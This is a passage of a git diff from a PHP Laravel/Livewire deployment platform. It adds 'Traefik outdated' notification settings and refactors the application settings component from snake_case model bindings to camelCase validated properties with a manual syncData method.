             $this->serverPatchTelegramNotifications = $this->settings->server_patch_telegram_notifications;
+            $this->traefikOutdatedTelegramNotifications = $this->settings->traefik_outdated_telegram_notifications;
 
             $this->telegramNotificationsDeploymentSuccessThreadId = $this->settings->telegram_notifications_deployment_success_thread_id;
             $this->telegramNotificationsDeploymentFailureThreadId = $this->settings->telegram_notifications_deployment_failure_thread_id;
@@ -191,6 +200,7 @@ public function syncData(bool $toModel = false)
             $this->telegramNotificationsServerReachableThreadId = $this->settings->telegram_notifications_server_reachable_thread_id;
             $this->telegramNotificationsServerUnreachableThreadId = $this->settings->telegram_notifications_server_unreachable_thread_id;
             $this->telegramNotificationsServerPatchThreadId = $this->settings->telegram_notifications_server_patch_thread_id;
+            $this->telegramNotificationsTraefikOutdatedThreadId = $this->settings->telegram_notifications_traefik_outdated_thread_id;
         }
     }
 
diff --git a/app/Livewire/Notifications/Webhook.php b/app/Livewire/Notifications/Webhook.php
index cf4e71105..8af70c6eb 100644
--- a/app/Livewire/Notifications/Webhook.php
+++ b/app/Livewire/Notifications/Webhook.php
@@ -62,6 +62,9 @@ class Webhook extends Component
     #[Validate(['boolean'])]
     public bool $serverPatchWebhookNotifications = false;
 
+    #[Validate(['boolean'])]
+    public bool $traefikOutdatedWebhookNotifications = true;
+
     public function mount()
     {
         try {
@@ -95,6 +98,7 @@ public function syncData(bool $toModel = false)
             $this->settings->server_reachable_webhook_notifications = $this->serverReachableWebhookNotifications;
             $this->settings->server_unreachable_webhook_notifications = $this->serverUnreachableWebhookNotifications;
             $this->settings->server_patch_webhook_notifications = $this->serverPatchWebhookNotifications;
+            $this->settings->traefik_outdated_webhook_notifications = $this->traefikOutdatedWebhookNotifications;
 
             $this->settings->save();
             refreshSession();
@@ -115,6 +119,7 @@ public function syncData(bool $toModel = false)
             $this->serverReachableWebhookNotifications = $this->settings->server_reachable_webhook_notifications;
             $this->serverUnreachableWebhookNotifications = $this->settings->server_unreachable_webhook_notifications;
             $this->serverPatchWebhookNotifications = $this->settings->server_patch_webhook_notifications;
+            $this->traefikOutdatedWebhookNotifications = $this->settings->traefik_outdated_webhook_notifications;
         }
     }
 
diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php
index 8e8add430..71ca9720e 100644
--- a/app/Livewire/Project/Application/General.php
+++ b/app/Livewire/Project/Application/General.php
@@ -3,11 +3,11 @@
 namespace App\Livewire\Project\Application;
 
 use App\Actions\Application\GenerateConfig;
-use App\Livewire\Concerns\SynchronizesModelData;
 use App\Models\Application;
 use App\Support\ValidationPatterns;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Illuminate\Support\Collection;
+use Livewire\Attributes\Validate;
 use Livewire\Component;
 use Spatie\Url\Url;
 use Visus\Cuid2\Cuid2;
@@ -15,7 +15,6 @@
 class General extends Component
 {
     use AuthorizesRequests;
-    use SynchronizesModelData;
 
     public string $applicationId;
 
@@ -23,94 +22,136 @@ class General extends Component
 
     public Collection $services;
 
+    #[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')]
     public string $name;
 
+    #[Validate(['string', 'nullable'])]
     public ?string $description = null;
 
+    #[Validate(['nullable'])]
     public ?string $fqdn = null;
 
-    public string $git_repository;
+    #[Validate(['required'])]
+    public string $gitRepository;
 
-    public string $git_branch;
+    #[Validate(['required'])]
+    public string $gitBranch;
 
-    public ?string $git_commit_sha = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $gitCommitSha = null;
 
-    public ?string $install_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $installCommand = null;
 
-    public ?string $build_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $buildCommand = null;
 
-    public ?string $start_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $startCommand = null;
 
-    public string $build_pack;
+    #[Validate(['required'])]
+    public string $buildPack;
 
-    public string $static_image;
+    #[Validate(['required'])]
+    public string $staticImage;
 
-    public string $base_directory;
+    #[Validate(['required'])]
+    public string $baseDirectory;
 
-    public ?string $publish_directory = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $publishDirectory = null;
 
-    public ?string $ports_exposes = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $portsExposes = null;
 
-    public ?string $ports_mappings = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $portsMappings = null;
 
-    public ?string $custom_network_aliases = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $customNetworkAliases = null;
 
+    #[Validate(['string', 'nullable'])]
     public ?string $dockerfile = null;
 
-    public ?string $dockerfile_location = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerfileLocation = null;
 
-    public ?string $dockerfile_target_build = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerfileTargetBuild = null;
 
-    public ?string $docker_registry_image_name = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerRegistryImageName = null;
 
-    public ?string $docker_registry_image_tag = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerRegistryImageTag = null;
 
-    public ?string $docker_compose_location = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerComposeLocation = null;
 
-    public ?string $docker_compose = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerCompose = null;
 
-    public ?string $docker_compose_raw = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerComposeRaw = null;
 
-    public ?string $docker_compose_custom_start_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerComposeCustomStartCommand = null;
 
-    public ?string $docker_compose_custom_build_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $dockerComposeCustomBuildCommand = null;
 
-    public ?string $custom_labels = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $customDockerRunOptions = null;
 
-    public ?string $custom_docker_run_options = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $preDeploymentCommand = null;
 
-    public ?string $pre_deployment_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $preDeploymentCommandContainer = null;
 
-    public ?string $pre_deployment_command_container = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $postDeploymentCommand = null;
 
-    public ?string $post_deployment_command = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $postDeploymentCommandContainer = null;
 
-    public ?string $post_deployment_command_container = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $customNginxConfiguration = null;
 
-    public ?string $custom_nginx_configuration = null;
+    #[Validate(['boolean', 'required'])]
+    public bool $isStatic = false;
 
-    public bool $is_static = false;
+    #[Validate(['boolean', 'required'])]
+    public bool $isSpa = false;
 
-    public bool $is_spa = false;
+    #[Validate(['boolean', 'required'])]
+    public bool $isBuildServerEnabled = false;
 
-    public bool $is_build_server_enabled = false;
+    #[Validate(['boolean', 'required'])]
+    public bool $isPreserveRepositoryEnabled = false;
 
-    public bool $is_preserve_repository_enabled = false;
+    #[Validate(['boolean', 'required'])]
+    public bool $isContainerLabelEscapeEnabled = true;
 
-    public bool $is_container_label_escape_enabled = true;
+    #[Validate(['boolean', 'required'])]
+    public bool $isContainerLabelReadonlyEnabled = false;
 
-    public bool $is_container_label_readonly_enabled = false;
+    #[Validate(['boolean', 'required'])]
+    public bool $isHttpBasicAuthEnabled = false;
 
-    public bool $is_http_basic_auth_enabled = false;
+    #[Validate(['string', 'nullable'])]
+    public ?string $httpBasicAuthUsername = null;
 
-    public ?string $http_basic_auth_username = null;
+    #[Validate(['string', 'nullable'])]
+    public ?string $httpBasicAuthPassword = null;
 
-    public ?string $http_basic_auth_password = null;
-
-    public ?string $watch_paths = null;
+    #[Validate(['nullable'])]
+    public ?string $watchPaths = null;
 
+    #[Validate(['string', 'required'])]
     public string $redirect;
 
+    #[Validate(['nullable'])]
     public $customLabels;
 
     public bool $labelsChanged = false;
@@ -141,46 +182,46 @@ protected function rules(): array
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
             'fqdn' => 'nullable',
-            'git_repository' => 'required',
-            'git_branch' => 'required',
-            'git_commit_sha' => 'nullable',
-            'install_command' => 'nullable',
-            'build_command' => 'nullable',
-            'start_command' => 'nullable',
-            'build_pack' => 'required',
-            'static_image' => 'required',
-            'base_directory' => 'required',
-            'publish_directory' => 'nullable',
-            'ports_exposes' => 'required',
-            'ports_mappings' => 'nullable',
-            'custom_network_aliases' => 'nullable',
+            'gitRepository' => 'required',
+            'gitBranch' => 'required',
+            'gitCommitSha' => 'nullable',
+            'installCommand' => 'nullable',
+            'buildCommand' => 'nullable',
+            'startCommand' => 'nullable',
+            'buildPack' => 'required',
+            'staticImage' => 'required',
+            'baseDirectory' => 'required',
+            'publishDirectory' => 'nullable',
+            'portsExposes' => 'required',
+            'portsMappings' => 'nullable',
+            'customNetworkAliases' => 'nullable',
             'dockerfile' => 'nullable',
-            'docker_registry_image_name' => 'nullable',
-            'docker_registry_image_tag' => 'nullable',
-            'dockerfile_location' => 'nullable',
-            'docker_compose_location' => 'nullable',
-            'docker_compose' => 'nullable',
-            'docker_compose_raw' => 'nullable',
-            'dockerfile_target_build' => 'nullable',
-            'docker_compose_custom_start_command' => 'nullable',
-            'docker_compose_custom_build_command' => 'nullable',
-            'custom_labels' => 'nullable',
-            'custom_docker_run_options' => 'nullable',
-            'pre_deployment_command' => 'nullable',
-            'pre_deployment_command_container' => 'nullable',
-            'post_deployment_command' => 'nullable',
-            'post_deployment_command_container' => 'nullable',
-            'custom_nginx_configuration' => 'nullable',
-            'is_static' => 'boolean|required',
-            'is_spa' => 'boolean|required',
-            'is_build_server_enabled' => 'boolean|required',
-            'is_container_label_escape_enabled' => 'boolean|required',
-            'is_container_label_readonly_enabled' => 'boolean|required',
-            'is_preserve_repository_enabled' => 'boolean|required',
-            'is_http_basic_auth_enabled' => 'boolean|required',
-            'http_basic_auth_username' => 'string|nullable',
-            'http_basic_auth_password' => 'string|nullable',
-            'watch_paths' => 'nullable',
+            'dockerRegistryImageName' => 'nullable',
+            'dockerRegistryImageTag' => 'nullable',
+            'dockerfileLocation' => 'nullable',
+            'dockerComposeLocation' => 'nullable',
+            'dockerCompose' => 'nullable',
+            'dockerComposeRaw' => 'nullable',
+            'dockerfileTargetBuild' => 'nullable',
+            'dockerComposeCustomStartCommand' => 'nullable',
+            'dockerComposeCustomBuildCommand' => 'nullable',
+            'customLabels' => 'nullable',
+            'customDockerRunOptions' => 'nullable',
+            'preDeploymentCommand' => 'nullable',
+            'preDeploymentCommandContainer' => 'nullable',
+            'postDeploymentCommand' => 'nullable',
+            'postDeploymentCommandContainer' => 'nullable',
+            'customNginxConfiguration' => 'nullable',
+            'isStatic' => 'boolean|required',
+            'isSpa' => 'boolean|required',
+            'isBuildServerEnabled' => 'boolean|required',
+            'isContainerLabelEscapeEnabled' => 'boolean|required',
+            'isContainerLabelReadonlyEnabled' => 'boolean|required',
+            'isPreserveRepositoryEnabled' => 'boolean|required',
+            'isHttpBasicAuthEnabled' => 'boolean|required',
+            'httpBasicAuthUsername' => 'string|nullable',
+            'httpBasicAuthPassword' => 'string|nullable',
+            'watchPaths' => 'nullable',
             'redirect' => 'string|required',
         ];
     }
@@ -193,26 +234,26 @@ protected function messages(): array
                 'name.required' => 'The Name field is required.',
                 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().',
                 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.',
-                'git_repository.required' => 'The Git Repository field is required.',
-                'git_branch.required' => 'The Git Branch field is required.',
-                'build_pack.required' => 'The Build Pack field is required.',
-                'static_image.required' => 'The Static Image field is required.',
-                'base_directory.required' => 'The Base Directory field is required.',
-                'ports_exposes.required' => 'The Exposed Ports field is required.',
-                'is_static.required' => 'The Static setting is required.',
-                'is_static.boolean' => 'The Static setting must be true or false.',
-                'is_spa.required' => 'The SPA setting is required.',
-                'is_spa.boolean' => 'The SPA setting must be true or false.',
-                'is_build_server_enabled.required' => 'The Build Server setting is required.',
-                'is_build_server_enabled.boolean' => 'The Build Server setting must be true or false.',
-                'is_container_label_escape_enabled.required' => 'The Container Label Escape setting is required.',
-                'is_container_label_escape_enabled.boolean' => 'The Container Label Escape setting must be true or false.',
-                'is_container_label_readonly_enabled.required' => 'The Container Label Readonly setting is required.',
-                'is_container_label_readonly_enabled.boolean' => 'The Container Label Readonly setting must be true or false.',
-                'is_preserve_repository_enabled.required' => 'The Preserve Repository setting is required.',
-                'is_preserve_repository_enabled.boolean' => 'The Preserve Repository setting must be true or false.',
-                'is_http_basic_auth_enabled.required' => 'The HTTP Basic Auth setting is required.',
-                'is_http_basic_auth_enabled.boolean' => 'The HTTP Basic Auth setting must be true or false.',
+                'gitRepository.required' => 'The Git Repository field is required.',
+                'gitBranch.required' => 'The Git Branch field is required.',
+                'buildPack.required' => 'The Build Pack field is required.',
+                'staticImage.required' => 'The Static Image field is required.',
+                'baseDirectory.required' => 'The Base Directory field is required.',
+                'portsExposes.required' => 'The Exposed Ports field is required.',
+                'isStatic.required' => 'The Static setting is required.',
+                'isStatic.boolean' => 'The Static setting must be true or false.',
+                'isSpa.required' => 'The SPA setting is required.',
+                'isSpa.boolean' => 'The SPA setting must be true or false.',
+                'isBuildServerEnabled.required' => 'The Build Server setting is required.',
+                'isBuildServerEnabled.boolean' => 'The Build Server setting must be true or false.',
+                'isContainerLabelEscapeEnabled.required' => 'The Container Label Escape setting is required.',
+                'isContainerLabelEscapeEnabled.boolean' => 'The Container Label Escape setting must be true or false.',
+                'isContainerLabelReadonlyEnabled.required' => 'The Container Label Readonly setting is required.',
+                'isContainerLabelReadonlyEnabled.boolean' => 'The Container Label Readonly setting must be true or false.',
+                'isPreserveRepositoryEnabled.required' => 'The Preserve Repository setting is required.',
+                'isPreserveRepositoryEnabled.boolean' => 'The Preserve Repository setting must be true or false.',
+                'isHttpBasicAuthEnabled.required' => 'The HTTP Basic Auth setting is required.',
+                'isHttpBasicAuthEnabled.boolean' => 'The HTTP Basic Auth setting must be true or false.',
                 'redirect.required' => 'The Redirect setting is required.',
                 'redirect.string' => 'The Redirect setting must be a string.',
             ]
@@ -220,43 +261,43 @@ protected function messages(): array
     }
 
     protected $validationAttributes = [
-        'application.name' => 'name',
-        'application.description' => 'description',
-        'application.fqdn' => 'FQDN',
-        'application.git_repository' => 'Git repository',
-        'application.git_branch' => 'Git branch',
-        'application.git_commit_sha' => 'Git commit SHA',
-        'application.install_command' => 'Install command',
-        'application.build_command' => 'Build command',
-        'application.start_command' => 'Start command',
-        'application.build_pack' => 'Build pack',
-        'application.static_image' => 'Static image',
-        'application.base_directory' => 'Base directory',
-        'application.publish_directory' => 'Publish directory',
-        'application.ports_exposes' => 'Ports exposes',
-        'application.ports_mappings' => 'Ports mappings',
-        'application.dockerfile' => 'Dockerfile',
-        'application.docker_registry_image_name' => 'Docker registry image name',
-        'application.docker_registry_image_tag' => 'Docker registry image tag',
-        'application.dockerfile_location' => 'Dockerfile location',
-        'application.docker_compose_location' => 'Docker compose location',
-        'application.docker_compose' => 'Docker compose',
-        'application.docker_compose_raw' => 'Docker compose raw',
-        'application.custom_labels' => 'Custom labels',
-        'application.dockerfile_target_build' => 'Dockerfile target build',
-        'application.custom_docker_run_options' => 'Custom docker run commands',
-        'application.custom_network_aliases' => 'Custom docker network aliases',
-        'application.docker_compose_custom_start_command' => 'Docker compose custom start command',
-        'application.docker_compose_custom_build_command' => 'Docker compose custom build command',
-        'application.custom_nginx_configuration' => 'Custom Nginx configuration',
-        'application.settings.is_static' => 'Is static',
-        'application.settings.is_spa' => 'Is SPA',
-        'application.settings.is_build_server_enabled' => 'Is build server enabled',
-        'application.settings.is_container_label_escape_enabled' => 'Is container label escape enabled',
-        'application.settings.is_container_label_readonly_enabled' => 'Is container label readonly',
-        'application.settings.is_preserve_repository_enabled' => 'Is preserve repository enabled',
-        'application.watch_paths' => 'Watch paths',
-        'application.redirect' => 'Redirect',
+        'name' => 'name',
+        'description' => 'description',
+        'fqdn' => 'FQDN',
+        'gitRepository' => 'Git repository',
+        'gitBranch' => 'Git branch',
+        'gitCommitSha' => 'Git commit SHA',
+        'installCommand' => 'Install command',
+        'buildCommand' => 'Build command',
+        'startCommand' => 'Start command',
+        'buildPack' => 'Build pack',
+        'staticImage' => 'Static image',
+        'baseDirectory' => 'Base directory',
+        'publishDirectory' => 'Publish directory',
+        'portsExposes' => 'Ports exposes',
+        'portsMappings' => 'Ports mappings',
+        'dockerfile' => 'Dockerfile',
+        'dockerRegistryImageName' => 'Docker registry image name',
+        'dockerRegistryImageTag' => 'Docker registry image tag',
+        'dockerfileLocation' => 'Dockerfile location',
+        'dockerComposeLocation' => 'Docker compose location',
+        'dockerCompose' => 'Docker compose',
+        'dockerComposeRaw' => 'Docker compose raw',
+        'customLabels' => 'Custom labels',
+        'dockerfileTargetBuild' => 'Dockerfile target build',
+        'customDockerRunOptions' => 'Custom docker run commands',
+        'customNetworkAliases' => 'Custom docker network aliases',
+        'dockerComposeCustomStartCommand' => 'Docker compose custom start command',
+        'dockerComposeCustomBuildCommand' => 'Docker compose custom build command',
+        'customNginxConfiguration' => 'Custom Nginx configuration',
+        'isStatic' => 'Is static',
+        'isSpa' => 'Is SPA',
+        'isBuildServerEnabled' => 'Is build server enabled',
+        'isContainerLabelEscapeEnabled' => 'Is container label escape enabled',
+        'isContainerLabelReadonlyEnabled' => 'Is container label readonly',
+        'isPreserveRepositoryEnabled' => 'Is preserve repository enabled',
+        'watchPaths' => 'Watch paths',
+        'redirect' => 'Redirect',
     ];
 
     public function mount()
@@ -266,14 +307,14 @@ public function mount()
             if (is_null($this->parsedServices) || empty($this->parsedServices)) {
                 $this->dispatch('error', 'Failed to parse your docker-compose file. Please check the syntax and try again.');
                 // Still sync data even if parse fails, so form fields are populated
-                $this->syncFromModel();
+                $this->syncData();
 
                 return;
             }
         } catch (\Throwable $e) {
             $this->dispatch('error', $e->getMessage());
             // Still sync data even on error, so form fields are populated
-            $this->syncFromModel();
+            $this->syncData();
         }
         if ($this->application->build_pack === 'dockercompose') {
             // Only update if user has permission
@@ -325,57 +366,114 @@ public function mount()
 
         // Sync data from model to properties at the END, after all business logic
         // This ensures any modifications to $this->application during mount() are reflected in properties
-        $this->syncFromModel();
+        $this->syncData();
     }
 
-    protected function getModelBindings(): array
+    public function syncData(bool $toModel = false): void
     {
-        return [
-            'name' => 'application.name',
-            'description' => 'application.description',
-            'fqdn' => 'application.fqdn',
-            'git_repository' => 'application.git_repository',
-            'git_branch' => 'application.git_branch',
-            'git_commit_sha' => 'application.git_commit_sha',
-            'install_command' => 'application.install_command',
-            'build_command' => 'application.build_command',
-            'start_command' => 'application.start_command',
-            'build_pack' => 'application.build_pack',
-            'static_image' => 'application.static_image',
-            'base_directory' => 'application.base_directory',
-            'publish_directory' => 'application.publish_directory',
-            'ports_exposes' => 'application.ports_exposes',
-            'ports_mappings' => 'application.ports_mappings',
-            'custom_network_aliases' => 'application.custom_network_aliases',
-            'dockerfile' => 'application.dockerfile',
-            'dockerfile_location' => 'application.dockerfile_location',
-            'dockerfile_target_build' => 'application.dockerfile_target_build',
-            'docker_registry_image_name' => 'application.docker_registry_image_name',
-            'docker_registry_image_tag' => 'application.docker_registry_image_tag',
-            'docker_compose_location' => 'application.docker_compose_location',
-            'docker_compose' => 'application.docker_compose',
-            'docker_compose_raw' => 'application.docker_compose_raw',
-            'docker_compose_custom_start_command' => 'application.docker_compose_custom_start_command',
-            'docker_compose_custom_build_command' => 'application.docker_compose_custom_build_command',
-            'custom_labels' => 'application.custom_labels',
-            'custom_docker_run_options' => 'application.custom_docker_run_options',
-            'pre_deployment_command' => 'application.pre_deployment_command',
-            'pre_deployment_command_container' => 'application.pre_deployment_command_container',
-            'post_deployment_command' => 'application.post_deployment_command',
-            'post_deployment_command_container' => 'application.post_deployment_command_container',
-            'custom_nginx_configuration' => 'application.custom_nginx_configuration',
-            'is_static' => 'application.settings.is_static',
-            'is_spa' => 'application.settings.is_spa',
-            'is_build_server_enabled' => 'application.settings.is_build_server_enabled',
-            'is_preserve_repository_enabled' => 'application.settings.is_preserve_repository_enabled',
-            'is_container_label_escape_enabled' => 'application.settings.is_container_label_escape_enabled',
-            'is_container_label_readonly_enabled' => 'application.settings.is_container_label_readonly_enabled',
-            'is_http_basic_auth_enabled' => 'application.is_http_basic_auth_enabled',
-            'http_basic_auth_username' => 'application.http_basic_auth_username',
-            'http_basic_auth_password' => 'application.http_basic_auth_password',
-            'watch_paths' => 'application.watch_paths',
-            'redirect' => 'application.redirect',
-        ];
+        if ($toModel) {
+            $this->validate();
+
+            // Application properties
+            $this->application->name = $this->name;
+            $this->application->description = $this->description;
+            $this->application->fqdn = $this->fqdn;
+            $this->application->git_repository = $this->gitRepository;
+            $this->application->git_branch = $this->gitBranch;
+            $this->application->git_commit_sha = $this->gitCommitSha;
+            $this->application->install_command = $this->installCommand;
+            $this->application->build_command = $this->buildCommand;
+            $this->application->start_command = $this->startCommand;
+            $this->application->build_pack = $this->buildPack;
+            $this->application->static_image = $this->staticImage;
+            $this->application->base_directory = $this->baseDirectory;
+            $this->application->publish_directory = $this->publishDirectory;
+            $this->application->ports_exposes = $this->portsExposes;
+            $this->application->ports_mappings = $this->portsMappings;
+            $this->application->custom_network_aliases = $this->customNetworkAliases;
+            $this->application->dockerfile = $this->dockerfile;
+            $this->application->dockerfile_location = $this->dockerfileLocation;
+            $this->application->dockerfile_target_build = $this->dockerfileTargetBuild;
+            $this->application->docker_registry_image_name = $this->dockerRegistryImageName;
+            $this->application->docker_registry_image_tag = $this->dockerRegistryImageTag;
+            $this->application->docker_compose_location = $this->dockerComposeLocation;
+            $this->application->docker_compose = $this->dockerCompose;
+            $this->application->docker_compose_raw = $this->dockerComposeRaw;
+            $this->application->docker_compose_custom_start_command = $this->dockerComposeCustomStartCommand;
+            $this->application->docker_compose_custom_build_command = $this->dockerComposeCustomBuildCommand;
+            $this->application->custom_labels = is_null($this->customLabels)
+                ? null
+                : base64_encode($this->customLabels);
+            $this->application->custom_docker_run_options = $this->customDockerRunOptions;
+            $this->application->pre_deployment_command = $this->preDeploymentCommand;
+            $this->application->pre_deployment_command_container = $this->preDeploymentCommandContainer;
+            $this->application->post_deployment_command = $this->postDeploymentCommand;
+            $this->application->post_deployment_command_container = $this->postDeploymentCommandContainer;
+            $this->application->custom_nginx_configuration = $this->customNginxConfiguration;
+            $this->application->is_http_basic_auth_enabled = $this->isHttpBasicAuthEnabled;
+            $this->application->http_basic_auth_username = $this->httpBasicAuthUsername;
+            $this->application->http_basic_auth_password = $this->httpBasicAuthPassword;
+            $this->application->watch_paths = $this->watchPaths;
+            $this->application->redirect = $this->redirect;
+
+            // Application settings properties
+            $this->application->settings->is_static = $this->isStatic;
+            $this->application->settings->is_spa = $this->isSpa;
+            $this->application->settings->is_build_server_enabled = $this->isBuildServerEnabled;
+            $this->application->settings->is_preserve_repository_enabled = $this->isPreserveRepositoryEnabled;
+            $this->application->settings->is_container_label_escape_enabled = $this->isContainerLabelEscapeEnabled;
+            $this->application->settings->is_container_label_readonly_enabled = $this->isContainerLabelReadonlyEnabled;
+
+            $this->application->settings->save();
+        } else {
+            // From model to properties
+            $this->name = $this->application->name;
+            $this->description = $this->application->description;
+            $this->fqdn = $this->application->fqdn;
+            $this->gitRepository = $this->application->git_repository;
+            $this->gitBranch = $this->application->git_branch;
+            $this->gitCommitSha = $this->application->git_commit_sha;
+            $this->installCommand = $this->application->install_command;
+            $this->buildCommand = $this->application->build_command;
+            $this->startCommand = $this->application->start_command;
+            $this->buildPack = $this->application->build_pack;
+            $this->staticImage = $this->application->static_image;
+            $this->baseDirectory = $this->application->base_directory;
+            $this->publishDirectory = $this->application->publish_directory;
+            $this->portsExposes = $this->application->ports_exposes;
+            $this->portsMappings = $this->application->ports_mappings;
+            $this->customNetworkAliases = $this->application->custom_network_aliases;
+            $this->dockerfile = $this->application->dockerfile;
+            $this->dockerfileLocation = $this->application->dockerfile_location;
+            $this->dockerfileTargetBuild = $this->application->dockerfile_target_build;
+            $this->dockerRegistryImageName = $this->application->docker_registry_image_name;
+            $this->dockerRegistryImageTag = $this->application->docker_registry_image_tag;
+            $this->dockerComposeLocation = $this->application->docker_compose_location;
+            $this->dockerCompose = $this->application->docker_compose;
+            $this->dockerComposeRaw = $this->application->docker_compose_raw;
+            $this->dockerComposeCustomStartCommand = $this->application->docker_compose_custom_start_command;
+            $this->dockerComposeCustomBuildCommand = $this->application->docker_compose_custom_build_command;
+            $this->customLabels = $this->application->parseContainerLabels();
+            $this->customDockerRunOptions = $this->application->custom_docker_run_options;
+            $this->preDeploymentCommand = $this->application->pre_deployment_command;
+            $this->preDeploymentCommandContainer = $this->application->pre_deployment_command_container;
+            $this->postDeploymentCommand = $this->application->post_deployment_command;
+            $this->postDeploymentCommandContainer = $this->application->post_deployment_command_container;
+            $this->customNginxConfiguration = $this->application->custom_nginx_configuration;
+            $this->isHttpBasicAuthEnabled = $this->application->is_http_basic_auth_enabled;
+            $this->httpBasicAuthUsername = $this->application->http_basic_auth_username;
+            $this->httpBasicAuthPassword = $this->application->http_basic_auth_password;
+            $this->watchPaths = $this->application->watch_paths;
+            $this->redirect = $this->application->redirect;
+
+            // Application settings properties
+            $this->isStatic = $this->application->settings->is_static;
+            $this->isSpa = $this->application->settings->is_spa;
+            $this->isBuildServerEnabled = $this->application->settings->is_build_server_enabled;
+            $this->isPreserveRepositoryEnabled = $this->application->settings->is_preserve_repository_enabled;
+            $this->isContainerLabelEscapeEnabled = $this->application->settings->is_container_label_escape_enabled;
+            $this->isContainerLabelReadonlyEnabled = $this->application->settings->is_container_label_readonly_enabled;
+        }
     }
 
     public function instantSave()
@@ -386,33 +484,36 @@ public function instantSave()
             $oldPortsExposes = $this->application->ports_exposes;
             $oldIsContainerLabelEscapeEnabled = $this->application->settings->is_container_label_escape_enabled;
             $oldIsPreserveRepositoryEnabled = $this->application->settings->is_preserve_repository_enabled;
+            $oldIsSpa = $this->application->settings->is_spa;
+            $oldIsHttpBasicAuthEnabled = $this->application->is_http_basic_auth_enabled;
 
-            $this->syncToModel();
+            $this->syncData(toModel: true);
 
-            if ($this->application->settings->isDirty('is_spa')) {
-                $this->generateNginxConfiguration($this->application->settings->is_spa ? 'spa' : 'static');
+            if ($oldIsSpa !== $this->isSpa) {
+                $this->generateNginxConfiguration($this->isSpa ? 'spa' : 'static');
             }
-            if ($this->application->isDirty('is_http_basic_auth_enabled')) {
+            if ($oldIsHttpBasicAuthEnabled !== $this->isHttpBasicAuthEnabled) {
                 $this->application->save();
             }
-            $this->application->settings->save();
+
             $this->dispatch('success', 'Settings saved.');
             $this->application->refresh();
-            $this->syncFromModel();
+
+            $this->syncData();
 
             // If port_exposes changed, reset default labels
-            if ($oldPortsExposes !== $this->ports_exposes || $oldIsContainerLabelEscapeEnabled !== $this->is_container_label_escape_enabled) {
+            if ($oldPortsExposes !== $this->portsExposes || $oldIsContainerLabelEscapeEnabled !== $this->isContainerLabelEscapeEnabled) {
                 $this->resetDefaultLabels(false);
             }
-            if ($oldIsPreserveRepositoryEnabled !== $this->is_preserve_repository_enabled) {
-                if ($this->is_preserve_repository_enabled === false) {
+            if ($oldIsPreserveRepositoryEnabled !== $this->isPreserveRepositoryEnabled) {
+                if ($this->isPreserveRepositoryEnabled === false) {
                     $this->application->fileStorages->each(function ($storage) {
-                        $storage->is_based_on_git = $this->is_preserve_repository_enabled;
+                        $storage->is_based_on_git = $this->isPreserveRepositoryEnabled;
                         $storage->save();
                     });
                 }
             }
-            if ($this->is_container_label_readonly_enabled) {
+            if ($this->isContainerLabelReadonlyEnabled) {
                 $this->resetDefaultLabels(false);
             }
         } catch (\Throwable $e) {
@@ -441,7 +542,7 @@ public function loadComposeFile($isInit = false, $showToast = true)
 
             // Sync the docker_compose_raw from the model to the component property
             // This ensures the Monaco editor displays the loaded compose file
-            $this->syncFromModel();
+            $this->syncData();
 
             $this->parsedServiceDomains = $this->application->docker_compose_domains ? json_decode($this->application->docker_compose_domains, true) : [];
             // Convert service names with dots and dashes to use underscores for HTML form binding
@@ -507,7 +608,7 @@ public function generateDomain(string $serviceName)
 
     public function updatedBaseDirectory()
     {
-        if ($this->build_pack === 'dockercompose') {
+        if ($this->buildPack === 'dockercompose') {
             $this->loadComposeFile();
         }
     }
@@ -527,24 +628,22 @@ public function updatedBuildPack()
         } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
             // User doesn't have permission, revert the change and return
             $this->application->refresh();
-            $this->syncFromModel();
+            $this->syncData();
 
             return;
         }
 
         // Sync property to model before checking/modifying
-        $this->syncToModel();
+        $this->syncData(toModel: true);
 
-        if ($this->build_pack !== 'nixpacks') {
-            $this->is_static = false;
+        if ($this->buildPack !== 'nixpacks') {
+            $this->isStatic = false;
             $this->application->settings->is_static = false;
             $this->application->settings->save();
         } else {
-            $this->ports_exposes = 3000;
-            $this->application->ports_exposes = 3000;
             $this->resetDefaultLabels(false);
         }
-        if ($this->build_pack === 'dockercompose') {
+        if ($this->buildPack === 'dockercompose') {
             // Only update if user has permission
             try {
                 $this->authorize('update', $this->application);
@@ -554,22 +653,10 @@ public function updatedBuildPack()
             } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
                 // User doesn't have update permission, just continue without saving
             }
-        } else {
-            // Clear Docker Compose specific data when switching away from dockercompose
-            if ($this->application->getOriginal('build_pack') === 'dockercompose') {
-                $this->application->docker_compose_domains = null;
-                $this->application->docker_compose_raw = null;
-
-                // Remove SERVICE_FQDN_* and SERVICE_URL_* environment variables
